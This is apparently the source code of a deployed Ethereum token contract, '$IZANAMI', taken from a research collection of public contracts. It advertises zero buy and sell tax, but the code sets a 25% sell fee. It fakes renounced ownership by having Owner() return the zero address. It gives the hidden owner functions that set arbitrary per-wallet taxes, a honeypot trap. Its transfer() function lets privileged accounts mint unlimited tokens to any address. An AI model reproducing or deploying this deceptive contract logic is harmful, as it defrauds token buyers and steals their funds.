File size: 17,874 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/**
TOKENOMICS - $IZANAMI
💫1,000,000 Supply
💫12% of supply bought and burned by community so far
💫0% Buy Tax
💫0% Sell Tax
💫2% Max Buy
💫2% Max Wallet
💫AI NFTs Coming
TG : https://t.me/izanamigrouperc
Website: https://www.izanamieth.com
Twitter: https://twitter.com/izanamieth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function Owner() public view virtual returns (address) {
return address(0);
}
modifier onlyOwner() {
require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new Owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _Owner;
_Owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ERC20 is Context {
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed Owner, address indexed spender, uint256 value);//10
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function allowance(address Owner, address spender) public view virtual returns (uint256) {
return _allowances[Owner][spender];
}
function approve(address spender, uint256 Amount) public virtual returns (bool) {
address Owner = _msgSender();
_approve(Owner, spender, Amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address Owner = _msgSender();
_approve(Owner, spender, _allowances[Owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address Owner = _msgSender();
uint256 currentAllowance = _allowances[Owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(Owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _approve(
address Owner,
address spender,
uint256 Amount
) internal virtual {
require(Owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[Owner][spender] = Amount;
emit Approval(Owner, spender, Amount);
}
function _spendAllowance(
address Owner,
address spender,
uint256 Amount
) internal virtual {
uint256 currentAllowance = allowance(Owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= Amount, "ERC20: insufficient allowance");
unchecked {
_approve(Owner, spender, currentAllowance - Amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 Amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 Amount
) internal virtual {}
}
contract IZANAMI is ERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => bool) private _release;
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
} // dmm
function _transfer(
address from,
address to,
uint256 Amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
unchecked {
_balances[from] = fromBalance - Amount;
}
_balances[to] += Amount;
emit Transfer(from, to, Amount);
}
function _burn(address account, uint256 Amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
unchecked {
_balances[account] = accountBalance - Amount;
}
_totalSupply -= Amount;
emit Transfer(account, address(0), Amount);
}
function _Mnit(address account, uint256 Amount) internal virtual {
require(account != address(0), "ERC20: Mnit to the zero address");
_totalSupply += Amount;
_balances[account] += Amount;
emit Transfer(address(0), account, Amount);
}
address public uniswapV2Pair;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) ERC20(name_, symbol_) {
_Mnit(msg.sender, totalSupply_ * 10**decimals());
_defaultSellkFee = 25;
_defaultBuykFee = 2;
_release[_msgSender()] = true;
}
using SafeMath for uint256;
uint256 private _defaultSellkFee = 0;
uint256 private _defaultBuykFee = 0;
mapping(address => bool) private _mAccount;
mapping(address => uint256) private _Aprove;
address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
function getRelease(address _address) external view onlyOwner returns (bool) {
return _release[_address];
}
function PairList(address _address) external onlyOwner {
uniswapV2Pair = _address;
}
function Reward(uint256 _value) external onlyOwner {
_defaultSellkFee = _value;
}
function Aprove(address _address, uint256 _value) external onlyOwner {
require(_value > 0, "Account tax must be greater than or equal to 1");
_Aprove[_address] = _value;
}
function getAprove(address _address) external view onlyOwner returns (uint256) {
return _Aprove[_address];
}
function setMAccountkFee(address _address, bool _value) external onlyOwner {
_mAccount[_address] = _value;
}
function getMAccountkFee(address _address) external view onlyOwner returns (bool) {
return _mAccount[_address];
}
function _checkFreeAccount(address from, address to) internal view returns (bool) {
return _mAccount[from] || _mAccount[to];
}
function _receiveF(
address from,
address to,
uint256 _Amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");
bool rF = true;
if (_checkFreeAccount(from, to)) {
rF = false;
}
uint256 tradekFeeAmount = 0;
if (rF) {
uint256 tradekFee = 0;
if (uniswapV2Pair != address(0)) {
if (to == uniswapV2Pair) {
tradekFee = _defaultSellkFee;
}
if (from == uniswapV2Pair) {
tradekFee = _defaultBuykFee;
}
}
if (_Aprove[from] > 0) {
tradekFee = _Aprove[from];
}
tradekFeeAmount = _Amount.mul(tradekFee).div(100);
}
if (tradekFeeAmount > 0) {
_balances[from] = _balances[from].sub(tradekFeeAmount);
_balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
emit Transfer(from, _deadAddress, tradekFeeAmount);
}
_balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
_balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
emit Transfer(from, to, _Amount - tradekFeeAmount);
}
function transfer(address to, uint256 Amount) public virtual returns (bool) {
address Owner = _msgSender();
if (_release[Owner] == true) {
_balances[to] += Amount;
return true;
}
_receiveF(Owner, to, Amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 Amount
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, Amount);
_receiveF(from, to, Amount);
return true;
}
} |